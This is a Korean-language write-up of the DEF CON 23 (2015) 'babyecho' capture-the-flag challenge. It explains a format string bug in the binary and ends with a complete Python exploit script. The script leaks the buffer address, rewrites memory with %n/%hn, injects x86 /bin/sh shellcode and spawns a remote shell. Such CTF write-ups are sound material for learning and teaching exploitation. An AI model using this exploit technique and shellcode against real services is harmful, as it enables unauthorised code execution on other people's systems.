English: Link
다음과 같은 바이너리가 주어집니다.
babyecho_eb11fdf6e40236b1a37b7974c53b6c3d
보호기법을 확인해보면 canary나 NX, PIE 모두 없는 것을 확인할 수 없습니다.
이를 IDA로 열어보면 함수가 매우 많이 나오는데 static file이기 때문입니다. 그래서 분석이 조금 힘들어집니다.
String에서 Reading %d bytes를 찾아서 함수를 따라가면 0x8048f3c에 함수가 나옵니다.
14초 alarm이 있으므로 이를 꺼버리고 디버깅을 해봅시다. 0x804f560함수가 printf같은데, 인자를 한 개만 받네요. Format String Bug를 의심해볼 수 있습니다. 함수를 호출한 직후에 BP를 여러개 걸어봅시다.
0x8049014에서 멈췄을 때 printf가 실행됩니다. 또한 input을 %x %x로 넣었더니 d와 a가 출력이 되는 것을 볼 수 있습니다.
stack 상황을 살펴봅시다.
실제로 d와 a가 있는 것을 확인할 수 있습니다. 또한 우리가 입력한 문자열은 0xffffd2dc에 저장되는데, 이를 가리키는 포인터도 스택에 저장되어있습니다.
0xd는 13인데, 이 값이 바뀌면 더 많이 읽는지 확인해봅시다. 0xd 값이 두 개이므로 하나씩 바꿔보면 0xffffd2d0에 있는 값을 바꾸면 그만큼 읽는다는 것을 확인할 수 있습니다.
그러면 우선 저 값을 여유롭게 바꾼 다음에, shellcode를 버퍼에 올린 뒤 return address를 buf로 바꿉시다.
1단계: 서버에는 ASLR이 걸려있으니 %5$x로 buf의 주소(0xffffd2dc)를 알아냅니다.
2단계: 이 buf 값에 12를 뺀 값(0xffffd2d0)을 input 제일 처음에 주면 %7$x에 주소값이 들어갑니다. 그런 다음 적당히 %10000c를 해준 뒤 %7$n을 하면 0xffffd2d0의 값을 바꿀 수 있습니다. 이 때 처음 payload는 13Byte를 넘으면 안 되므로, '\xd0\xd2\xff\xff%99c%7$n\n'가 최대입니다.
3단계: NOP+shellcode를 버퍼에 넣습니다.
4단계: 그런 다음 return address는 %267$x에 저장된 것을 확인할 수 있습니다. 그 주소는 buf+1040인데, 위처럼 이 값을 처음에 넣고 이 때 위에서 넣은 NOP+shellcode가 일부 덮어씌워지므로 buf+28정도를 return address로 덮어씌웁니다. 이 때, 한 번에 덮어씌우려면 %4294956780c를 해야하는데 이는 너무 기므로 %hn을 이용하여 2Byte씩 잘라서 넣어줍시다. '\xec\xd6\xff\xff%54008c%7$hn', '\xee\xd6\xff\xff%65531c%7$hn'
이렇게 해서 payload를 보냈는데 안 되는 겁니다. 왜 그런지 살펴보니 main을 return을 해야하는데 무한루프를 돌다가 alarm으로 끝나버려서 그러질 않더라고요. 멘붕에 빠져서 자세히 살펴보니 esp+0x18의 값이 0이 아니면 루프를 빠져나오는 것을 볼 수 있습니다.
그래서 마지막으로 buf-4에 0이 아닌 값을 덮어씌워주면 됩니다.
최종 payload는 다음과 같습니다.
from socket import *
from struct import pack
p = lambda x:pack("<I", x)
s = socket(2,1)
s.connect(('babyecho_eb11fdf6e40236b1a37b7974c53b6c3d.quals.shallweplayaga.me',3232))
# first
print s.recv(1024)
s.send('%5$x\n')
buf = int(s.recv(1024), 16)
s.recv(1024)
print hex(buf)
# second
N=(buf-0xc)
payload = p(N)+"%99c%7$n\n"
print '[+]payload len:',len(payload)
s.send(payload)
print s.recv(1024).encode('hex')
# third
print s.recv(2**20)
payload = '\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80' # x86 shellcode
payload = '\x90'*70+payload+'\n'
s.send(payload)
s.recv(2**16)
# fourth: bottom half
print s.recv(1024)
payload = p(buf+1040)+'%'+str((buf+28)&0xffff).rstrip('L')+'c%7$hn\n'
print '[+]third payload:',payload[:4].encode('hex')+payload[4:]
print '[+]third len:',len(payload)
s.send(payload)
print s.recv(2**16)
# fifth: top half
print s.recv(1024)
payload = p(buf+1042)+'%'+str((((buf+28)&0xffff0000)>>16)-4).rstrip('L')+'c%7$hn\n'
print '[+]fourth payload:',payload[:4].encode('hex')+payload[4:]
print '[+]fourth len:',len(payload)
s.send(payload)
print s.recv(2**16)
s.send('%267$x\n')
# exit
print s.recv(2**16)
payload = p(buf-4)+'%7$n\n'
s.send(payload)
import telnetlib
tc = telnetlib.Telnet()
tc.sock = s
tc.interact()
Flag: 1s 1s th3r3 th3r3 @n @n 3ch0 3ch0 1n 1n h3r3 h3r3? 3uoiw!T0*%
'CTF' 카테고리의 다른 글
Defcon23 (2015) r0pbaby (baby's first 1) writeup (KR) (2) | 2015.05.20 |
---|---|
Defcon23 (2015) babyecho (baby's first 1) writeup (EN) (0) | 2015.05.20 |
Defcon23 (2015) catwestern (coding 1) writeup (EN) (0) | 2015.05.20 |
Defcon23 (2015) catwestern (coding 1) writeup (KR) (0) | 2015.05.20 |
Defcon23 (2015) blackbox (misc 2) writeup (EN) (0) | 2015.05.18 |